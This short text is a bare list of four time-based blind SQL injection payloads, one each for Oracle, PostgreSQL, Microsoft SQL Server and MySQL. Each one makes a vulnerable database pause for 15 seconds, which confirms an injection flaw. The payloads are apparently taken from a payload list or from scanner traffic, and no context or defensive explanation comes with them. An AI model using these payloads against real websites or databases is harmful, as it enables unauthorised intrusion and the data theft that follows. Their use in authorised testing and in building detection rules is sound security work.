555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555-1 OR 196=(SELECT 196 FROM PG_SLEEP(15))--

555-1 waitfor delay '0:0:15' --

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

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